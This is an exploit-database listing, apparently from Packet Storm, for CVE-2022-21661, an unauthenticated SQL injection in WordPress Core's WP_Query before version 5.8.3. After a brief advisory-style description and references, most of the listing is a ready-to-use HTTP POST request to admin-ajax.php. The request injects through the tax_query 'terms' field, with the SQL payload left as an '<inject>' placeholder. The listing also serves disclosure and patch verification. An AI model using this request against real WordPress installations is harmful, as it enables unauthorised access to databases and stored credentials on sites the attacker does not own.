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WordPress Core 5.8.2 SQL Injection

2022-01-1300:00:00
Aryan Chehreghani
packetstormsecurity.com
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0.934 High

EPSS

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`# Exploit Title: WordPress Core 5.8.2 - 'WP_Query' SQL Injection  
# Date: 11/01/2022  
# Exploit Author: Aryan Chehreghani  
# Vendor Homepage: https://wordpress.org  
# Software Link: https://wordpress.org/download/releases  
# Version: < 5.8.3  
# Tested on: Windows 10  
# CVE : CVE-2022-21661  
  
# [ VULNERABILITY DETAILS ] :   
  
#This vulnerability allows remote attackers to disclose sensitive information on affected installations of WordPress Core,  
#Authentication is not required to exploit this vulnerability, The specific flaw exists within the WP_Query class,  
#The issue results from the lack of proper validation of a user-supplied string before using it to construct SQL queries,  
#An attacker can leverage this vulnerability to disclose stored credentials, leading to further compromise.  
  
# [ References ] :   
  
https://wordpress.org/news/category/releases  
https://www.zerodayinitiative.com/advisories/ZDI-22-020  
https://hackerone.com/reports/1378209  
  
# [ Sample Request ] :  
  
POST /wp-admin/admin-ajax.php HTTP/1.1  
Host: localhost  
Upgrade-Insecure_Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.99  
Sec-Fetch-Dest: document  
Sec-Fetch-Mode: navigate  
Sec-Fetch-Site: cross-site  
Sec-Fetch-User: ?1  
Cache-Control: max-age=0  
Connection: close   
Content-Type: application/x-www-form-urlencoded  
  
action=<action_name>&nonce=a85a0c3bfa&query_vars={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["<inject>"]}}}  
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